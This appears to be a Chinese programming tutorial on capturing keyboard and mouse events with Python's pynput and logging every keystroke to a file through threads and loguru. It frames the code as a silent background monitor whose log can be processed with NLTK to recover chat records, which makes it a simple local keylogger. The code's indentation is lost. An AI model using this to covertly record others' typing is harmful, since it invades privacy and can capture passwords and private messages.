Python 使用 pynput 实现键盘鼠标监控与日志记录
本文介绍如何使用 Python 的 pynput 库轻量级地监控键盘和鼠标操作。通过示例代码展示如何捕获按键与点击事件,并利用多线程和 loguru 将监控数据持久化保存至日志文件,为后续通过 NLTK 等工具处理数据提供基础。

关于 pynput
pynput 是一个用于监控键盘和鼠标输入的 Python 库。虽然市面上存在许多具备类似功能的游戏库(如 pygame),但它们通常体积庞大且功能冗余。当仅需实现基础的输入监控时,pynput 因其轻量级和高效性成为更合适的选择。
实例
键盘监控
假设需要静默运行一个后台进程以监控并记录键盘输入,可以参考以下实现方式:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
复制代码
控制台打印:

鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
复制代码
控制台打印:

注意,每条事件会被打印两次,这是因为鼠标按下(pressed)和释放(released)动作均会触发相应的事件回调。
监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
复制代码
查看日志内容:

如上所示,所有键盘操作均已被记录。通过对该日志文件进行简单的 NLTK 语言处理,即可复原相关的聊天记录内容。
以上就是今天的全部内容了,感谢您的阅读,我们下节再会。
到此这篇关于你知道怎么用Python监控聊天记录吗的文章就介绍到这了,更多相关Python 监控内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













